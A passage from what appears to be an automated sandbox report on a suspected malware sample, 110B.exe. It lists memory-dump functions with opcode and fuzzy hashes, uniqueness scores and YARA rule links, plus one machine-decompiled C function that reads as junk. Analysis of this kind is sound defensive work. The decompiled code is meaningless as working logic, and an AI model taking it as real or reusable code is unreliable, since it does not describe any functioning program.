Opcode ID: 2799c1386115f4e66f25765b42b3cb396667a222a3366417f87b3e2acd4d0576
Instruction ID: 1b174ef97cca6ded9451a58b43ce9074f8c53753e7f08df1f67a6b58eed8b8bd
Opcode Fuzzy Hash: 2799c1386115f4e66f25765b42b3cb396667a222a3366417f87b3e2acd4d0576
Instruction Fuzzy Hash: D7E0263120D1448FD308E774D4D17A537239FD2300F1C40A9C146CFB99CE3A6A158792

Uniqueness

Uniqueness Score: -1.00%

Function 058C7392, Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ba555ecb81cd85be2d88d98825ec95010ec3da5487fc02565b88209ed6a3f84
Instruction ID: ff0ac3d20137921d946188350041dfa325e430dc35941adfefacf772c0e7f253
Opcode Fuzzy Hash: 7ba555ecb81cd85be2d88d98825ec95010ec3da5487fc02565b88209ed6a3f84
Instruction Fuzzy Hash: DAE0B635740014CFCB08CA6CD4459A87BB2EB8461974100DDEA06CB220D732EC018F40

Uniqueness

Uniqueness Score: -1.00%

Function 0339D98E, Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 982f5f0b1b349f1dcee5311bc63305801ecd0d4e704948d78e7be3ff75d5882a
Instruction ID: c231dbfd7563bd49fcc88bf785d40a0b43720570063535c971d3f49a74e73234
Opcode Fuzzy Hash: 982f5f0b1b349f1dcee5311bc63305801ecd0d4e704948d78e7be3ff75d5882a
Instruction Fuzzy Hash: 47E04F34700304DFDB15DB20D8908BD7772EBDA21075484A9D8055B351CA3AED03CB10

Uniqueness

Uniqueness Score: -1.00%

Function 058CE9B8, Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7f2f4b4d869194edc968381814b90f4eb1ded74923d6efe1c9c7bda689fa8ed
Instruction ID: f3f685bb16930636c6c639c6859438c8bd988c142cf02aae9227313e87746370
Opcode Fuzzy Hash: c7f2f4b4d869194edc968381814b90f4eb1ded74923d6efe1c9c7bda689fa8ed
Instruction Fuzzy Hash: 2FD05E712083446FCB41D678C891893BFF59B8B200315D0ABE808CF252DA22FC07D7A1

Uniqueness

Uniqueness Score: -1.00%

Function 058C736D, Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01e59fde725d79d40ca5f73487b37db1fb6eeb7962f453b1d6298dff9c6f8629
Instruction ID: b5a655ef0f69e242c442723ee6d16525712db4227fbf30c6509a8b050e1d14cc
Opcode Fuzzy Hash: 01e59fde725d79d40ca5f73487b37db1fb6eeb7962f453b1d6298dff9c6f8629
Instruction Fuzzy Hash: 72E0BD35740018DFCB08CB68D849DE83BB1EF4562974180DDEA0ADB322D732ED028F80

Uniqueness

Uniqueness Score: -1.00%

Function 0339D949, Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a21c5d6bf2943a30baa510fe4fcff9cb1dfaf5b1d116541229515b4cec924c5
Instruction ID: b0bf290bac53224739a3e25078fe08911ddbbb41dbb60fe8d9a3c23166dc4dac
Opcode Fuzzy Hash: 3a21c5d6bf2943a30baa510fe4fcff9cb1dfaf5b1d116541229515b4cec924c5
Instruction Fuzzy Hash: 0DE01A30A05314DBDF16EB24C88196CBB6AEB44245B2484DDC80966311CA36AD42CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0339C811, Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e753bd25d0829c3867a6a951ac1beb2482fc0545c59852f3fd361fcbfe66f62e
Instruction ID: 5c6e2660daf87cd81b9c6f7fd30a3fa5f14440ffb82e51ad4e0d7f159de0ba1b
Opcode Fuzzy Hash: e753bd25d0829c3867a6a951ac1beb2482fc0545c59852f3fd361fcbfe66f62e
Instruction Fuzzy Hash: 83E0EC75504054AFD705CF58D855DAABB76EF95254B14C05FEC0487251CAB2D912DB80

Uniqueness

Uniqueness Score: -1.00%

Function 0339C7A1, Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c60bb6f5d6080115c7bbcc4fe588265b184b41d8d9065167035918c6033ec41e
Instruction ID: 83c0fdf5445adfe1d394f91adea6f281316d2873262e07f615c851791c487f0e
Opcode Fuzzy Hash: c60bb6f5d6080115c7bbcc4fe588265b184b41d8d9065167035918c6033ec41e
Instruction Fuzzy Hash: 6BE0C2311000007FD700CB54D8519A6BB65EF95350B05C05BE844C7301C672DC12CB80

Uniqueness

Uniqueness Score: -1.00%

Function 058CF258, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44ba782675fcdd8aff74ea6f0a83c41e2cb3e78684efea51cd70aa7f2296677b
Instruction ID: 877f0f7dcd895513f3842dead994786ff947c22c1e70ab8d1161cd6d10d093a9
Opcode Fuzzy Hash: 44ba782675fcdd8aff74ea6f0a83c41e2cb3e78684efea51cd70aa7f2296677b
Instruction Fuzzy Hash: 04D09E36200118BF9B05DE84DC41CA6BB6AEB89660B14C45AFD1547351CAB3ED22DB90

Uniqueness

Uniqueness Score: -1.00%

Function 058C6DE4, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 313db2e655f5b97638d3075bb8618996e036318bfdf6e2b1d159da817459f259
Instruction ID: 67f761f74027789d8ad5cca38cb1e6ae914928b45dfdf4d9b3fe6eaff8a4a66b
Opcode Fuzzy Hash: 313db2e655f5b97638d3075bb8618996e036318bfdf6e2b1d159da817459f259
Instruction Fuzzy Hash: FED01235B0450CDF8B44DBAEE0919DC7FF5EF89316B0040AAE21AC7620DB309C558F40

Uniqueness

Uniqueness Score: -1.00%

Function 058C6F08, Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dadbaa4d0ad0358c4f80f1b188597cc2842c5e0101d7129443e819cb106cf55e
Instruction ID: 42e615fd685080f9e0fce8c4a58c1233639340bbda780c445c49ac28fb3929d8
Opcode Fuzzy Hash: dadbaa4d0ad0358c4f80f1b188597cc2842c5e0101d7129443e819cb106cf55e
Instruction Fuzzy Hash: DFD01235740408CF8704D79DD0549D87FE5DFC521670144AAE20ACB620CB70DD554B40

Uniqueness

Uniqueness Score: -1.00%

Function 058C704C, Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 059ecfd2e1c3e91869fa0789406676ea0af48953d83306a36a51e7dd561753ba
Instruction ID: b05a73d5f8713574ae4307ff584c89c8aec8c9decad721b613f15f2357204209
Opcode Fuzzy Hash: 059ecfd2e1c3e91869fa0789406676ea0af48953d83306a36a51e7dd561753ba
Instruction Fuzzy Hash: 82D012357400098F8A08DA9DD0509D837B5DF8421570000EAE207C7630CB30DC958B80

Uniqueness

Uniqueness Score: -1.00%

Function 058C739B, Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c537f5d0a868bf0dfebe2ec536353ca42d00c82a4d16df3716d92a001bb5888
Instruction ID: db67d13957f47b2739039d7b43b5e115c5e90bc86072117a2d2b0405cb8c9cb1
Opcode Fuzzy Hash: 9c537f5d0a868bf0dfebe2ec536353ca42d00c82a4d16df3716d92a001bb5888
Instruction Fuzzy Hash: 58C01239700004CF8704D69CD0505EC3BA5DB8521670001E9E206C7220DB31DC568B40

Uniqueness

Uniqueness Score: -1.00%

Function 0339E1D0, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a41f9f6ceab3372368b59a29230a12fc4770747fb4d07f00212d75e823df3e16
Instruction ID: 47121bb74447e2d5b0b8ba5b5706c0a3ba811fbcf7111bf3f93a5150eb59a67e
Opcode Fuzzy Hash: a41f9f6ceab3372368b59a29230a12fc4770747fb4d07f00212d75e823df3e16
Instruction Fuzzy Hash: B8C08CA38043094BCB423BA0A44138A7BACDBA2201F4400D1A90C53201AB0426408A81

Uniqueness

Uniqueness Score: -1.00%

Function 0339E6A9, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33c96ec9e5f77b149cf4f1342d471fc54ca1eb91c0522ce8416dd45e4a5101be
Instruction ID: 77085473040b37f7d65dbcbd93ced2dc0d178086ebcf443675a30986836d3891
Opcode Fuzzy Hash: 33c96ec9e5f77b149cf4f1342d471fc54ca1eb91c0522ce8416dd45e4a5101be
Instruction Fuzzy Hash: CFD022720052849FC302CBF1E88AAD93F329F7234030840CBE000CB211C6390220DB11

Uniqueness

Uniqueness Score: -1.00%

Function 058CE9C8, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f9c937b705b733c9644217cffe37b903ab6a11d94893328ab2d7921f8117b8c
Instruction ID: 89f7625bcd3042e5662e2b0f59687678129b36ffb3fe7dec0c562e4284fda470
Opcode Fuzzy Hash: 2f9c937b705b733c9644217cffe37b903ab6a11d94893328ab2d7921f8117b8c
Instruction Fuzzy Hash: 05C04C753042085F9344DA9DD851C26F7E9DBD8614714C06DA90DC7351EA72FD13C694

Uniqueness

Uniqueness Score: -1.00%

Function 03397D3F, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28566755f802a9ecd4fbb874060e933588740ecf3c8658b51ace1a09dc701e33
Instruction ID: 083be15fb7a626154a62a85a769e11e28a7db903da4642bd7f45ffa08516249f
Opcode Fuzzy Hash: 28566755f802a9ecd4fbb874060e933588740ecf3c8658b51ace1a09dc701e33
Instruction Fuzzy Hash: 11C08CA171A0A0CBE702AA24B898BD9A718A7E3622F0146AEB84183359C224970353C2

Uniqueness

Uniqueness Score: -1.00%

Function 0339C8F2, Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1dd4e730f42d20d131c6808da911292e37e9f8f7f5f7fadb965ee6566169f53
Instruction ID: f0b37202eafb5a50609a7c15261c2d971e923cc0a8445d589ec42666558d4a44
Opcode Fuzzy Hash: d1dd4e730f42d20d131c6808da911292e37e9f8f7f5f7fadb965ee6566169f53
Instruction Fuzzy Hash: 00C09BF58D53445FC7921760641C6D93F549757155F020557940D91151D5658505CA10

Uniqueness

Uniqueness Score: -1.00%

Function 03390F90, Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2228234e1cb4f4f392383b9b42046977be8d34f4e1f681a9e30d96e6579de092
Instruction ID: 74169dcfe65d7885020e75f633a8294dd6f7749d065844cdc71fb99f33a363c9
Opcode Fuzzy Hash: 2228234e1cb4f4f392383b9b42046977be8d34f4e1f681a9e30d96e6579de092
Instruction Fuzzy Hash: 71C0927AC156A58FEF02AB29CD942803730EA5313039F00C29808BB242EA1A781B8F51

Uniqueness

Uniqueness Score: -1.00%

Function 0339E6B8, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95cbc090f23073bd04d42cab235486af808e0adb0f98335151c6f52b3597efda
Instruction ID: 8ed9ea73f2305f2271ff8319095bb272a10462cb7935d772ba3912e2b32cfbec
Opcode Fuzzy Hash: 95cbc090f23073bd04d42cab235486af808e0adb0f98335151c6f52b3597efda
Instruction Fuzzy Hash: DCB0123204030CB746006BD3F845D957F6DD724750B008051FB0441500CE72522097A5

Uniqueness

Uniqueness Score: -1.00%

Function 03397D10, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b76679b0a354449729844e828cdbdd8dc5f87ab3334555cc76ca9f307cd6f9ad
Instruction ID: a0ccf6e4bed68dc0c69f5d0bbd707ad7c253f4111acce2a0e91a8f8d8fd4bd45
Opcode Fuzzy Hash: b76679b0a354449729844e828cdbdd8dc5f87ab3334555cc76ca9f307cd6f9ad
Instruction Fuzzy Hash: 03B092351602088F82409B68E448C00B3E8AB08A243118090E10C8B232C621F8008A40

Uniqueness

Uniqueness Score: -1.00%

Function 058C7AC0, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.453828223.00000000058C0000.00000040.00000001.sdmp, Offset: 058C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4e000939d94f434617fe8b9fcad224e304107e4f0fbf01af8d67e3bd95b3ae4
Instruction ID: 8339c285e7916533f5b777cd5d88c25b2e5c81a9bc2e3e8afbd248bfa1de3706
Opcode Fuzzy Hash: b4e000939d94f434617fe8b9fcad224e304107e4f0fbf01af8d67e3bd95b3ae4
Instruction Fuzzy Hash: A1C09270502288CFDB0ADF20C098800BB72AF4230535980D9D00A8B632C732DCC2CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0339E1E0, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0827afaa37584a521a3e22278a9639cfa6f7ae3232957bc180af79e9a85687b4
Instruction ID: c87c3abf561472aa427fc25bd4e6f9bc1b8dfd2b866beb96c65218d79f83dcb1
Opcode Fuzzy Hash: 0827afaa37584a521a3e22278a9639cfa6f7ae3232957bc180af79e9a85687b4
Instruction Fuzzy Hash: F8A0023104470E8B89903BE9754B99DB75CD9D4619B840091BB4D415055F59661045AA

Uniqueness

Uniqueness Score: -1.00%

Function 0339C900, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5524a7544903a197cca8f1c03384374ab3d0fb8b4a755cdb69070f1ae21a93e3
Instruction ID: fdb31df8827da76779f9d3c4f258d4b720fe1db57467f873fc3c80861ada3bef
Opcode Fuzzy Hash: 5524a7544903a197cca8f1c03384374ab3d0fb8b4a755cdb69070f1ae21a93e3
Instruction Fuzzy Hash: 6C90023504560C8B459037D5740D5D5775C95455667800052A50D415059E6565509A95

Uniqueness

Uniqueness Score: -1.00%

Function 03390FA0, Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.451329468.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8419c99598ece5315f72abe75272bd62774cbd23e7f70716abc1596369e19e5
Instruction ID: 90cd5e309e5e5ea7180adf6e91d5c8c86ccc4597672462e5df6173b630e23bb9
Opcode Fuzzy Hash: f8419c99598ece5315f72abe75272bd62774cbd23e7f70716abc1596369e19e5
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00F0ACA0, Relevance: .1, Instructions: 128
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00F0ACA0(signed int __eax, void* __ebx, intOrPtr* __ecx, signed int* __edi, intOrPtr* __esi) {
				signed char _t33;
				signed char _t37;
				signed int _t38;
				signed int _t46;
				signed int _t48;
				signed int _t49;
				signed int _t50;
				signed int _t51;
				signed int _t52;
				signed int _t53;
				signed char _t54;
				intOrPtr* _t56;
				signed char _t57;
				signed char _t58;
				signed char _t61;
				intOrPtr* _t63;
				signed int _t72;
				void* _t74;
				intOrPtr* _t76;
				void* _t78;
				signed int* _t79;
				void* _t82;
				void* _t83;
				void* _t84;
				void* _t85;

				_t80 = __esi;
				_t79 = __edi;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax ^ __eax;
				 *__ecx =  *__ecx + __eax;
				_t33 = __eax;
				 *0xFFFFFFFFBF00003B =  *((intOrPtr*)(0xffffffffbf00003b)) + _t33;
				 *_t33 =  *_t33 ^ _t33;
				_t76 = 0xd2000006 + _t33;
				 *((intOrPtr*)(_t85 + _t82)) =  *((intOrPtr*)(_t85 + _t82)) + __ebx;
				 *_t76 =  *_t76 + _t76;
				 *((intOrPtr*)(__ebx - 0x51ffffec)) =  *((intOrPtr*)(__ebx - 0x51ffffec)) + _t76;
				_t37 = (_t33 & 0x00000000) +  *(_t33 & 0x00000000) |  *((_t33 & 0x00000000) +  *(_t33 & 0x00000000));
				 *((intOrPtr*)(__ebx - 0x4dfffff1)) =  *((intOrPtr*)(__ebx - 0x4dfffff1)) + _t37;
				asm("sbb al, 0x0");
				_t63 = __ebx + _t76;
				asm("adc al, 0x0");
				asm("das");
				 *_t37 =  *_t37 + _t37;
				asm("out dx, al");
				 *_t37 =  *_t37 - _t37;
				_t72 = __ecx + __ecx + __ecx + __ecx + _t76;
				_t38 = _t37 |  *_t37;
				 *((intOrPtr*)(_t82 + 0x4000002a)) =  *((intOrPtr*)(_t82 + 0x4000002a)) + _t38;
				 *((_t38 &  *_t38) + _t63 ^ 0x1d310000) =  *((_t38 &  *_t38) + _t63 ^ 0x1d310000) + ((_t38 &  *_t38) + _t63 ^ 0x1d310000);
				 *0xa =  *0xa + 0xa;
				asm("cdq");
				ds = ss;
				 *0xa =  *0xa + 0xa;
				_pop(_t83);
				_t78 = _t76 + _t72 + _t63;
				 *((intOrPtr*)(_t83 + 0x3900000c)) =  *((intOrPtr*)(_t83 + 0x3900000c)) + _t72;
				_t46 = (0xa ^  *0x0000000A) - 0x4310000;
				 *_t46 =  *_t46 + _t46;
				asm("int1");
				asm("daa");
				 *_t46 =  *_t46 + _t46;
				asm("stc");
				_pop(ss);
				 *_t46 =  *_t46 + _t46;
				es = _t63;
				 *_t46 =  *_t46 + _t46;
				_t48 = _t63 -  *_t63;
				 *((intOrPtr*)(_t48 + 0x1a)) =  *((intOrPtr*)(_t48 + 0x1a)) + _t48;
				 *_t48 =  *_t48 + _t48;
				 *0x2ff10000 =  *0x2ff10000 | _t46;
				 *_t48 =  *_t48 + _t48;
				asm("cdq");
				_t49 = _t48 & 0x340b0000;
				 *_t49 =  *_t49 + _t49;
				_t50 = _t49 - 0x31;
				 *_t50 =  *_t50 + _t50;
				asm("rol dword [0x2c950000], cl");
				 *_t50 =  *_t50 + _t50;
				 *__edi =  *__edi ^ _t72;
				 *_t50 =  *_t50 + _t50;
				_pop(ds);
				 *_t50 =  *_t50 + _t50;
				if( *_t50 != 0) {
					 *_t50 =  *_t50 + _t50;
					 *_t50 =  *_t50 - _t50;
					 *((intOrPtr*)(_t83 - 0x22ffffef)) =  *((intOrPtr*)(_t83 - 0x22ffffef)) + _t50;
					asm("adc eax, 0x5a30000");
					 *_t50 =  *_t50 + _t50;
					_t84 = _t83 + 1;
					 *((intOrPtr*)(_t84 + 0x19)) =  *((intOrPtr*)(_t84 + 0x19)) + 0xa;
					 *_t50 =  *_t50 + _t50;
					asm("lodsd");
					asm("adc al, [eax]");
					 *((intOrPtr*)(__esi - 1 + _t84 + 0xeef0000)) =  *((intOrPtr*)(__esi - 1 + _t84 + 0xeef0000)) + _t72;
					 *_t50 =  *_t50 + _t50;
					_t80 = 0x44000021;
					 *_t50 =  *_t50 + _t50;
					es = es;
					 *[cs:eax] =  *[cs:eax] + _t50;
					 *0x2c000023 = _t50;
				}
				_t51 = _t50 &  *_t50;
				 *_t51 =  *_t51 + _t72;
				 *_t51 =  *_t51 + _t51;
				_t52 = _t51 ^  *_t51;
				asm("adc [eax], eax");
				 *0x3100005D =  *((intOrPtr*)(0x3100005d)) + _t78;
				asm("sbb al, 0x0");
				 *((intOrPtr*)(_t80 + 0x19000021)) =  *((intOrPtr*)(_t80 + 0x19000021)) + _t78;
				 *[ss:eax] =  *[ss:eax] + _t52;
				asm("lodsb");
				asm("sldt word [eax]");
				 *_t79 =  *_t79 ^ 0x3100005d;
				 *_t52 =  *_t52 + _t52;
				asm("loopne 0x20");
				 *_t52 =  *_t52 + _t52;
				_push(_t80);
				asm("adc [eax], al");
				_t74 = 0x3c000028 + _t78;
				_t53 = _t52 & 0x12cc0000;
				 *_t53 =  *_t53 + _t53;
				asm("sbb [edi], ebx");
				 *_t53 =  *_t53 + _t53;
				_push(ds);
				_t54 = _t53 -  *_t53;
				asm("sbb eax, [eax]");
				 *0x3c000028 =  *0x3c000028 + 0x3100005d + _t74;
				asm("sldt word [eax]");
				asm("retf 0x22");
				 *_t80 =  *_t80 + _t54;
				_push(es);
				 *[es:eax] =  *[es:eax] + _t54;
				 *_t54 =  *_t54 & _t54;
				_t56 = _t54 + 0xffffffffd8b50034;
				 *_t56 =  *_t56 + _t56;
				 *0x31000002 =  *0x31000002 + _t56;
				 *[ss:eax] =  *[ss:eax] + _t56;
				_t57 = _t56 -  *0x2de60000;
				 *_t57 =  *_t57 + _t57;
				asm("into");
				asm("adc [eax], eax");
				 *0xa5000034 =  *0xa5000034 + 0xa5000034;
				_t58 = _t57 ^ 0x00000000;
				 *((intOrPtr*)(_t80 + 0x3c000028)) =  *((intOrPtr*)(_t80 + _t74)) + 0xa5000034;
				 *_t58 =  *_t58 + _t58;
				 *_t58 =  *_t58 + _t58;
				asm("stosb");
				_push(ds);
				 *_t58 =  *_t58 + _t58;
				if( *_t58 > 0) {
					 *_t58 =  *_t58 + _t58;
					asm("sbb eax, 0xec000032");
				}
				asm("sbb [eax], al");
				 *((intOrPtr*)(_t80 - 0x27ffffea)) =  *((intOrPtr*)(_t80 - 0x27ffffea)) + _t78;
				_t61 = (_t58 ^  *_t58) + _t74 ^  *((_t58 ^  *_t58) + _t74);
				 *((intOrPtr*)(_t80 + 0x1c)) =  *((intOrPtr*)(_t80 + 0x1c)) + _t78;
				 *_t61 =  *_t61 + _t61;
				 *_t61 = 0xcde0000;
				 *_t61 =  *_t61 + _t61;
				asm("sbb dword [edi], 0xd1f0000");
				 *_t61 =  *_t61 + _t61;
				return _t61;
			}

0x00f0aca0
0x00f0aca0
0x00f0aca1
0x00f0aca8
0x00f0acaa
0x00f0acac
0x00f0acae
0x00f0acb4
0x00f0acb6
0x00f0acba
0x00f0acc2
0x00f0acc6
0x00f0accc
0x00f0acce
0x00f0acd4
0x00f0acd6
0x00f0acd8
0x00f0acdc
0x00f0acdd
0x00f0acdf
0x00f0ace0
0x00f0ace2
0x00f0ace4
0x00f0ace6
0x00f0acf5
0x00f0acf9
0x00f0acfb
0x00f0acfc
0x00f0acfd
0x00f0acff
0x00f0ad06
0x00f0ad0a
0x00f0ad10
0x00f0ad15
0x00f0ad17
0x00f0ad18
0x00f0ad19
0x00f0ad1b
0x00f0ad1c
0x00f0ad1d
0x00f0ad20
0x00f0ad21
0x00f0ad24
0x00f0ad26
0x00f0ad29
0x00f0ad2b
0x00f0ad31
0x00f0ad33
0x00f0ad34
0x00f0ad39
0x00f0ad3b
0x00f0ad3d
0x00f0ad3f
0x00f0ad45
0x00f0ad47
0x00f0ad49
0x00f0ad50
0x00f0ad51
0x00f0ad53
0x00f0ad55
0x00f0ad58
0x00f0ad5a
0x00f0ad60
0x00f0ad65
0x00f0ad67
0x00f0ad6a
0x00f0ad6d
0x00f0ad6f
0x00f0ad70
0x00f0ad72
0x00f0ad79
0x00f0ad7b
0x00f0ad81
0x00f0ad83
0x00f0ad84
0x00f0ad87
0x00f0ad87
0x00f0ad88
0x00f0ad8a
0x00f0ad8d
0x00f0ad94
0x00f0ad98
0x00f0ad9a
0x00f0ad9c
0x00f0ad9e
0x00f0ada4
0x00f0ada7
0x00f0ada8
0x00f0adab
0x00f0adad
0x00f0adaf
0x00f0adb1
0x00f0adb3
0x00f0adb4
0x00f0adb6
0x00f0adb8
0x00f0adbd
0x00f0adbf
0x00f0adc1
0x00f0adc3
0x00f0adc4
0x00f0adc8
0x00f0adca
0x00f0adcc
0x00f0adcf
0x00f0add2
0x00f0add3
0x00f0add4
0x00f0addc
0x00f0ade0
0x00f0ade5
0x00f0adea
0x00f0adf0
0x00f0adf3
0x00f0adf9
0x00f0adfb
0x00f0adfc
0x00f0adfe
0x00f0ae00
0x00f0ae02
0x00f0ae05
0x00f0ae09
0x00f0ae0b
0x00f0ae0c
0x00f0ae0d
0x00f0ae0f
0x00f0ae11
0x00f0ae13
0x00f0ae13
0x00f0ae18
0x00f0ae1a
0x00f0ae20
0x00f0ae22
0x00f0ae25
0x00f0ae27
0x00f0ae2d
0x00f0ae2f
0x00f0ae35
0x00f0ae37

Memory Dump Source

Source File: 0000001C.00000002.449714711.0000000000F02000.00000002.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000001C.00000002.449679877.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000001C.00000002.449791584.0000000000F86000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e26015a71656f3dc3301b7792ded3fc758db3cb0848b24ca0634c539fbc77d11
Instruction ID: 74d59a35d89c0e5c88e54821e9007db78023590bd97aca9a966de49afa1385ff
Opcode Fuzzy Hash: e26015a71656f3dc3301b7792ded3fc758db3cb0848b24ca0634c539fbc77d11
Instruction Fuzzy Hash: E341F5A694E7D14FD7038B70A87A5C17FB19F27228B4F45CBC4C08F4A3E1185A1AD762

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 110B.exe PID: 5708 Parent PID: 5764 110B.exeCOMMON

Executed Functions

Function 00C1EC28, Relevance: .4, Instructions: 378COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e9c87a0a40601b351b1772783d1317aba99c7fb0b9750527f4e03dc6923117d
Instruction ID: 7241181ced8e59cc166a524fa645dd0a42b4cd23358135ac63c4847a35814413
Opcode Fuzzy Hash: 2e9c87a0a40601b351b1772783d1317aba99c7fb0b9750527f4e03dc6923117d
Instruction Fuzzy Hash: 7AD1D534B002159FCB14EBB8D454AAEB7FAAFC9304B1584A9D906DB3A5DF30DD42CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00C184E8, Relevance: 2.0, Instructions: 1973COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 533e96983a7a87428d58e03358ad32056e9efce2d2eea7cecfca3b5c5b8dc7da
Instruction ID: cc1760575c90f3b251e76d61b0c879c6fa0aaf6bc3dc4159fa4d8e0b8552eecc
Opcode Fuzzy Hash: 533e96983a7a87428d58e03358ad32056e9efce2d2eea7cecfca3b5c5b8dc7da
Instruction Fuzzy Hash: 4513ED34911704DFCB1AAF60D4609D9B736FF99306F2088AADC6136B58CB3B8956DF42

Uniqueness

Uniqueness Score: -1.00%

Function 00C184E3, Relevance: 2.0, Instructions: 1971COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
